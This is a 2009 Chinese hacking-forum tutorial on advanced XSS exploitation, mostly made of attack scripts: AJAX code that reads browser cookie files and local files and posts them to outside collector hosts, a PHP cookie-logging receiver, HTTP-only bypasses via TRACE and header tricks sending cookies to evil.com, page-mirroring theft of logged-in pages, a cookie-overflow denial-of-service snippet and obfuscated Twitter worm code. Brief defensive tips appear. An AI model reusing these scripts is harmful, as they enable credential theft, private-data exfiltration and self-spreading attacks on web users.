XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
- ^+ A [9 ]& r7 x" L$ @5 G3 D/ L本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
# _ ]0 E4 g. @/ v0 a) @By racle@tian6.com
. s. s: F/ \- y& j5 Shttp://bbs.tian6.com/thread-12711-1-1.html
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-------------------------------------------前言---------------------------------------------------------+ C; \* e/ G5 i
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9 K. z& Z" m$ p" V& N) p9 Z本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文., b' o9 {% x% a
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" l7 c3 ~) _5 [0 V1 J如果你还未具备基础XSS知识,以下几个文章建议拜读:
& Q. g: ]2 x7 Y' @0 k8 Jhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
! g' E, } _2 N8 N) xhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全) i+ n) A" a4 B( m9 ]7 z. ^
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
( |0 G% n5 S3 }- B( uhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
. n: O3 M& R1 ]" D# Ihttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
+ e% f. \4 D3 T6 x+ Lhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持8 H. X' L; L/ G( \3 S' T6 G
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.% L1 A+ [7 _5 E; p, v9 f
! p2 U3 I4 w; {5 V希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.5 H* B( H6 m) @! c+ B) a/ l7 h
- E d h- v; u6 e如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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3 ?3 L; Z" d" s: r$ Y3 ?Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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, s' z4 j3 n N4 p9 T' R5 [QQ ZONE,校内网XSS 感染过万QQ ZONE./ z* h$ H6 O9 _. Y+ j
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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0 L. n& J' p( u复制代码------------------------------------------介绍-------------------------------------------------------------
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9 }9 W. v! K4 [1 V什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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9 @1 I1 U) C- n1 X# \! O如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
% K% z- A: B' v复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.9 O, [% e: L6 l5 v/ Z
我们在这里重点探讨以下几个问题:
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3 Y3 @5 O& R+ S9 m1 通过XSS,我们能实现什么?
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?9 r+ t$ R% E7 e. a4 D
, t( H. N* ^ a x& M: {- ~. o8 E4 l0 C3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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1 T5 A) D J& D( {4 XSS漏洞在输出和输入两个方面怎么才能避免.
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$ _* F( U& k) s7 {, U8 o------------------------------------------研究正题----------------------------------------------------------4 z6 _, U% s3 U9 w6 y( c
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
; t! W' K4 O$ u3 J) m% L' B7 R复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫: j8 q! a' p# Q4 f& D
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.0 Q3 n b+ e! E5 I# G' E- W V
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.9 C2 a0 t+ r' M. t
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制." r) Q% ^' Q" X1 `
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
$ O% d7 Y" X" f( G, k4:Http-only可以采用作为COOKIES保护方式之一.
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者): y, d2 F( k( J" M% S
/ ]6 {% \) }: Q; d" R1 _ p我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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, J4 f6 t9 ?. o8 A 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。! @ F- U& Z: Y4 e3 p0 t+ H
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- W" N [7 ~8 i E$ w9 `$ q 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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' R; O2 g6 r3 V- X% \. Q. Z" ?- M 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
) ^ G' \9 M; z q* t复制代码IE6使用ajax读取本地文件 <script>
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7 @6 _/ d( [$ `5 W function $(x){return document.getElementById(x)}
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function ajax_obj(){: r6 p1 c* p, ?$ X( e' I/ ^% H. v! }6 ?
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var request = false;* y& | m0 X0 b! ~2 z' ]& d; p
, i7 @2 w! P: P if(window.XMLHttpRequest) {1 w* F% ~; `6 H6 U) B c0 y
% |( j4 q7 a0 N- n1 \+ e request = new XMLHttpRequest();
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; i- ~( r. p" w8 H x f+ U- Y: p/ u; U } else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',# m/ o6 |" e4 m$ t4 ~
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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) ~, v# a4 h, j9 O/ t for(var i=0; i<versions.length; i++) {
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try {
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request = new ActiveXObject(versions);
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return request;
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}
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var _x = ajax_obj();
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function _7or3(_m,action,argv){( {* s9 k5 q" l7 w A |: @
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);
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# o' H2 i2 g' f% L# v0 ^ return _x.responseText;
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! f4 s f" N, S) r# x; Z7 ] \ var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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# z2 W- }) r6 \" E+ } </script>
2 v6 J& b8 T0 C3 o; I复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>- x- `0 l6 I: s9 I; L% E$ M
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function $(x){return document.getElementById(x)}+ q7 ^/ C2 Q- F- Y1 @
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2 [; p: }& e( `% N4 K6 U var request = false;
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" F/ l# y1 F) L9 } if(window.XMLHttpRequest) {/ H; }3 V" E8 P5 `9 p- Q
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request = new XMLHttpRequest();! d" L- a: y6 x& |* d
0 @ K7 N# V/ L- U B+ T } else if(window.ActiveXObject) {5 Q- h0 k! x1 j9 ^
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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7 D7 Z5 Y% f6 w* V- B9 G' M/ w 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];% f M) P* v5 a# Q( [# p2 ~3 T
' ^6 _4 a% q$ C4 u( s: V for(var i=0; i<versions.length; i++) {2 |/ z. D% u' m* [
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try {# x5 C" u1 [) e9 n- K0 r) n, I
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* J) g- r" Q$ \0 H) n } catch(e) {}
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var _x = ajax_obj();
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function _7or3(_m,action,argv){
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7 V X @6 J* A. W _x.open(_m,action,false);5 @- K; U$ j D7 y: n8 F$ K
4 N) B3 r! b h: i% v$ `& g if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");8 T3 v+ n8 G$ w8 m
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_x.send(argv);/ I8 @2 r( @! ^+ y% B" l
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/ I/ C9 `% h. b X h4 e5 o# O var txt=_7or3("GET","1/11.txt",null);
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复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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/ ~5 R/ s/ J; i. ]0 cChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"& ?, p4 g: c, t6 i) f$ x V
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Chrome 1.0.154.53 use ajax read local txt file and upload exp
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www.inbreak.net - r: N% |/ k7 l# ]
, ^: n( }* ]. e4 T author voidloafer@gmail.com 2009-4-22
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4 S: z0 c- n) ?- _ http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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*/
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header("Content-Disposition: attachment;filename=kxlzx.htm"); ) l W& O; R8 d: `' k
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header("Content-type: application/kxlzx"); $ W$ o5 ~. z/ i: [4 ^1 N( z0 s: L3 R- y
+ n; h( }* s% y; `3 ]
/*
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set header, so just download html file,and open it at local. 0 L& v# b9 } b
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?>
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' \: w& m& t2 \6 X<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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<input id="input" name="cookie" value="" type="hidden"> " F/ q9 v7 C( t j! K- c/ R
$ z( ^3 a3 N5 x; R</form> 1 ^8 b! V2 Q3 }
D. h/ m9 u( h, b( `<script>
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function doMyAjax(user) & T- @$ b. A% S) x c q
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{
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8 c7 B9 o; ?0 v' L% {7 {var time = Math.random(); U n1 e6 V6 v* J9 M* M
7 e4 O& A7 k: v4 `/* 6 v+ w+ O, ^" {1 ~" N
5 o4 G5 B+ a& V E5 o) gthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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" `/ f1 ]) w& uand so on...
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*/
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8 g+ ^; c- g4 U& |0 Yvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; * ]/ Z7 c+ r; h! G0 j& {
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8 e4 U. Z: J! M; p X6 z4 e" Y1 zstartRequest(strPer);
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}
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function Enshellcode(txt) 2 [7 S1 I2 q# V
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var url=new String(txt);
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& t0 @2 V: Q/ p) h/ L# a2 W0 Y# Qvar i=0,l=0,k=0,curl="";
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& C6 r5 L; O9 \5 G2 L" Hl= url.length;
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$ B' n a2 }" S. U% gfor(;i<l;i++){
6 j" E$ o3 `- w* t$ Z" A
* Q0 O: |# D" V: \. ^, ?k=url.charCodeAt(i);
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} + O% ^6 A- y! k, R& d. w6 \
; _' T; w7 L/ D9 ^8 ?4 Jif (l%2){curl+="00";}else{curl+="0000";} ) X' m6 s$ D3 t3 o3 ?, X3 {3 [
: S" V2 a: u; Bcurl=curl.replace(/(..)(..)/g,"%u$2$1"); 2 J% u8 l4 o. J$ o; Q! }
+ [* u) B; X$ @; A+ S
return curl;
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}
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3 ^7 n4 i6 Z; x8 kvar xmlHttp;
& a z" |2 F6 [7 x
4 v( e$ Q# g& B9 v6 nfunction createXMLHttp(){
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if(window.XMLHttpRequest){ 3 w) X5 Z, r5 P3 I9 U- }
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xmlHttp = new XMLHttpRequest();
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else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); & Z0 }2 ]- P) T) ?, U8 F# {
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}
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}
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* g( b' v3 S/ f7 S( `+ A% a - B7 f7 u3 R, d7 \
! l$ P9 R" b* ^% p: t; g5 W/ t" bfunction startRequest(doUrl){
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6 C: L) K* U# X N) X" o1 O3 |' `& s+ u" v* m, z/ f( Z2 o4 j& ~! r
createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange; ; i; n: ?6 y4 m1 ]' o0 [+ P4 |% V) _
+ m6 t) V. L4 R- M2 }
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% K! J1 D" D0 M; h1 m xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null); $ |0 w& Y9 j0 I. v9 E) \ _+ s$ q
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; H$ T/ P3 j+ B3 v. q0 P) k8 Z! Zfunction handleStateChange(){ % V4 X0 t1 X$ A! T: f2 L7 I
3 F8 A0 c5 Z& Z2 M6 d+ ]
if (xmlHttp.readyState == 4 ){ / g1 f' ?6 N& n& x9 Z
, t, B5 Q) S5 Q9 e3 [ var strResponse = "";
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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+ t, I1 H3 g' a! a$ t) ^ |}
+ V8 E2 I) S1 o- V5 K+ p( j
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function framekxlzxPost(text) 6 N2 ] L9 r$ l0 j4 H& Z) W
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document.getElementById("input").value = Enshellcode(text);
2 \$ `- c2 L& w3 i
, o: ?: c2 U6 F: q2 T document.getElementById("form").submit(); @5 p% P' r5 f' A
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% T6 ~& y, B6 h8 k * n- k4 m/ {4 D: @6 \ j& o' J
: B# T+ [% ^7 rdoMyAjax("administrator"); ; j5 x+ X5 r% e- V
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</script>
$ ]. j9 t6 q% N% \复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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var xmlHttp;
# Z \! o- e; D d/ C3 O/ c
7 {* q' U! y) m( W" u) rfunction createXMLHttp(){ 1 u6 z* r! G% X; R6 W0 U
9 Z" S' Y% V: D( R6 l; t
if(window.XMLHttpRequest){
+ I+ G& o* E9 F5 k( S1 r
( v; m4 N/ C; E$ `- S xmlHttp = new XMLHttpRequest();
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else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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}
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0 G# r9 m& e f}
3 I w P5 d5 X r' q W3 w5 d- e9 K0 ` t# ^
6 I9 H* l6 R) d/ O
m! F( c% p& o' Y5 yfunction startRequest(doUrl){ : Z: |% L" w) `9 E
4 g9 z6 M2 R0 `4 i! X
O; M# `2 C: D3 U" k* |7 u9 I7 f. b
createXMLHttp(); 9 K6 o+ j9 {! y7 V; ~
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xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true); . a2 h& D' {1 g; q& `
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xmlHttp.send(null); 4 @% @6 v* y7 ~% T
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+ @5 p2 X1 r5 |/ S& o* Y* v2 x; \( U: z2 o& H
} + C& s% t9 A4 k4 X! n7 C1 p5 k
. U3 N, J& t) V4 z! ? ; h8 {. W O! T1 P/ g7 Y6 c
0 h% [5 E6 V. s) D1 h- Nfunction handleStateChange(){
V, q% K. O6 t6 w7 r; T3 H0 ?) W) Q/ q6 ~6 F# J3 n$ R$ O
if (xmlHttp.readyState == 4 ){ ; P/ O8 A$ N. B, g U* ^
& M+ @/ ?# a- w j var strResponse = "";
( s( ?! h, q5 d
4 t/ [9 D) c! @5 S' b setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); & q7 p- b! ~9 T5 E; Q( D
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} 4 ]! `$ N; Z1 Z: T: M0 U* h2 ]
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}
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& x' K6 H6 h% m3 `( _( L; Hfunction doMyAjax(user,file) . O1 D) B; s u+ d( w" v# f
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& O( ]; g. h/ s" K5 V6 m4 y! r
& J3 _( i( M- @ var time = Math.random(); 0 g# Y9 M ]$ C$ q/ a- W* K% p
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7 W- W+ U( c! g6 M) u var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; , U& U( q8 }7 o' z
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4 w4 ?% G$ M h startRequest(strPer); 1 s. f. b- i" a% ~4 _9 p
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}
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function framekxlzxPost(text)
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{ ) n" [, }: m1 \7 T( ?3 z0 g, B4 j" u
8 [7 M+ S5 e# }
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
+ \" `$ X( u" @7 C- F# x
. |' ]) H7 t& g% }7 L alert(/ok/);
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} $ D" b) E( d9 M1 E7 _1 ^
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2 [7 S) l& p; W: hdoMyAjax('administrator','administrator@alibaba[1].txt'); ! b7 y, [! U# n0 G
0 [- G) g2 X/ ?/ }, v- Z( m4 M7 ?+ V . W, f9 m) r& G2 s) Z# i
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</script>
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7 e2 r; U( t5 V' t
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' A3 S( L) k7 e9 t" ea.php
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7 R2 D4 A3 Q/ m- Y! B& Z y2 s Y<?php
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" k4 p$ G/ g. b$ O$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 0 U/ M: x7 j# R; i X1 J" E c
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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$ w4 I1 K, o0 Q4 y9 w7 @' F! x6 i/ {fwrite($fp,$_GET["cookie"]); 5 r7 u/ t+ _, h. T/ B! U
& _/ i5 u/ {4 `* O+ w: zfclose($fp);
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复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:6 G7 q @. y- }3 A* W7 j9 W2 i
; v" ^' ~+ [- w, H或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.8 X: m' [4 k) {5 ]
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.- Y+ _5 I. }+ F7 S1 D
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);0 p8 J/ D" j( i
s( B6 a9 m C+ a, _: N* d! W6 y//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);0 F$ r# t; Z( f w, `7 n
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);% m# ^7 A+ n7 z( U/ I6 H1 i
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function getURL(s) {
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var image = new Image();
1 k& F& s: I! }# s; ]. W' |/ S3 U5 }( _: p1 X7 v
image.style.width = 0;0 H" h+ A& o, d! F! e6 X1 U
1 t! ?4 u$ Y5 W- Timage.style.height = 0; f6 A$ |/ S9 S$ P1 V
; r0 W2 W7 n" p* j. uimage.src = s;
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, y" K. J" n8 }8 T, o" e}
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
; F. W& n1 w7 Q% M H, c; d& }! _, Z复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
0 D6 } p. s: i这里引用大风的一段简单代码:<script language="javascript">
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var metastr = "AAAAAAAAAA"; // 10 A
- X! |' n2 h- m
" [4 Z& t W, q/ l- X' Yvar str = "";
2 x, F3 ]* k5 g# Y6 T
# U2 C6 D& N& I0 mwhile (str.length < 4000){( y) n( q8 N( h/ B$ G/ R9 ?
+ \( f, n# v3 u; a* c str += metastr;/ \# p- F4 v8 @
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0 g; H; k6 H- Fdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS4 N9 t& Z' x1 E+ Y4 U
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</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html/ J# e- e$ v+ w/ Y/ i3 k% x6 D2 e
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
+ \+ }% C' V- R# D7 @# ?server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=1508 b$ }9 G l$ S
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.' c3 E- s }' d& \. ~6 o# [; s
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.$ w2 Z! \3 A- y; u1 W6 ~& h
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- H. z. l/ k$ O% H. g, j(III) Http only bypass 与 补救对策:
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5 N x6 e; n. J) b5 @% e/ d什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.. S/ T0 ?9 @; O& A2 ~: z; m" C2 S
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">+ E1 }0 u/ g- T/ @! K0 S
! U2 F% T6 q% @5 a- ]- s/ l1 {4 n<!--
# k+ ]4 f1 |4 u- p. h% N+ ^1 y
) G) h y9 p8 \% ]- [function normalCookie() { , W1 O6 N' H) N3 O. P* }
8 f; H5 h; e1 |- q
document.cookie = "TheCookieName=CookieValue_httpOnly";
) e' s( J; K5 f
% Y0 ~% h! {5 I- T# x" @; jalert(document.cookie);
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}1 Z1 ]: {( ?5 o2 H# v3 W
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function httpOnlyCookie() { 6 w1 y9 ?2 d$ x$ G
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
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! c. P0 t: _; T" W- \ [alert(document.cookie);}- f; G0 O/ ~8 c ~4 R3 N/ T
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//-->. F. K# `9 W) T6 }
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</script>
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4 D$ h! a* J" {
, w- w" t, z$ s, \<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>4 m. l/ z, e6 ~* [$ A
/ [& H! N7 `1 Z<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>, e' E* x; v- y2 F+ Z. ]5 g
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
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var request = false;$ |0 N8 ^7 L7 X+ @/ z. v
* R4 Y; U( ?) j8 e+ i if(window.XMLHttpRequest) {
4 e: n" b5 d+ G2 A/ P; x3 w m4 p5 U5 l
request = new XMLHttpRequest();
4 C2 ~/ W# W+ J f, s* z: E* c; _- L4 N' Q% t5 W
if(request.overrideMimeType) {
: I6 }8 A0 R# k5 y' F" [3 m$ U# b0 B# ^/ ?
request.overrideMimeType('text/xml');1 c9 R1 ?+ Y9 {6 J- @
# n" A1 L& V: k# I" i4 K9 h
}
# g: s& U! }) n: X) _0 K5 m$ d
4 o3 e8 I$ U$ n* Z# N: W } else if(window.ActiveXObject) {
0 [( L* g9 o4 L8 |- L( [1 ], W5 t- Y
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 H! L) E% f0 i6 F; x
+ F" M. D: h7 G; d9 F. H for(var i=0; i<versions.length; i++) {% _& H* ~- ~2 ?( I' }
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try {
X; o* ?1 C# x
8 g# u* p8 j( ~. s9 T request = new ActiveXObject(versions);$ w) U" _) v$ y$ K
4 X$ p/ V. L" u2 z: ~9 r, S } catch(e) {}
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/ j; @; A% g! C5 t* o }
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}
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S$ M* U. m" i3 v3 e- [) s" N7 IxmlHttp=request;
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% r! f7 E, O: I3 F+ q+ Q# dxmlHttp.open("TRACE","http://www.vul.com",false);; s$ N. J% K g! q& H
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xmlHttp.send(null);" `; L5 ?4 u" `7 x3 }7 b* t
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xmlDoc=xmlHttp.responseText;- N: M; r5 k& D3 Q c2 G' p
+ i4 A% b7 Y8 A: g- x& v5 Y' walert(xmlDoc);
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</script>
6 Y# I( Q4 h) F% q- V复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>2 j, B6 a6 D1 |* C/ q' }
4 |# B7 V! t, a& P, r, g4 z' Svar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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4 k1 j, ^( V w: pXmlHttp.send(null);
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var resource=xmlHttp.responseText/ B' O3 b1 v+ v5 }
" h5 v) { C+ }resource.search(/cookies/);
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# V+ U8 Z9 M! {$ K# Y. a......................+ U) ~! L2 g6 G* M! n- n
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</script>
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9 _3 _4 O* J+ {# M
0 \, |7 N6 V$ h5 \
. z1 [$ J* `0 t) X T如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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/ {2 e% M; M J) m0 \2 |[code]
5 \' s: O1 \( C- F& [0 F+ L5 o) L. d" U9 ^! m' F
RewriteEngine On
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RewriteCond %{REQUEST_METHOD} ^TRACE
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RewriteRule .* - [F]
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( D5 o( p3 G9 w
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求7 k; `1 R# F% ]# ?3 X
% }" x! f- ~- u, N4 D1 r* Zacl TRACE method TRACE1 \0 z% x" {# c! _
" V8 }8 d% q- J' n1 m+ w. z...# H& n/ }8 |4 }* L }+ i, B& j
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http_access deny TRACE
7 d5 h9 b) _# v复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>6 p% Y0 m* G0 h) Z5 U4 l; N; U. T8 P
! ?+ f) y& e# i! `var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);7 [, z! d! l8 M
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");; {7 Y' |, }) E& C
' X$ ^9 K2 k+ [9 jXmlHttp.send(null);
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</script>2 k9 I$ m ]! y& C
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>( E. P- G! Y! r. X9 G
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");' c. W8 M0 b) Q% `
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XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);( A k# y4 {9 K7 A6 y1 P
; G3 q1 h7 D* x6 Q9 ZXmlHttp.send(null);/ j! V: C8 C) u9 B6 B; s) ~ L$ G5 R
* d+ f' z. A* _5 {<script>
! E; C H H0 e5 D复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.. K% z$ `6 |! y' \
复制代码案例:Twitter 蠕蟲五度發威
* p5 `0 j9 D1 |! K8 C7 i% e第一版:) \) { D' i- ~ A3 F2 t
下载 (5.1 KB)
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6 \0 B8 E7 F$ w6 天前 08:27
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8 c6 H6 a) s+ W& n( y' k, }第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", 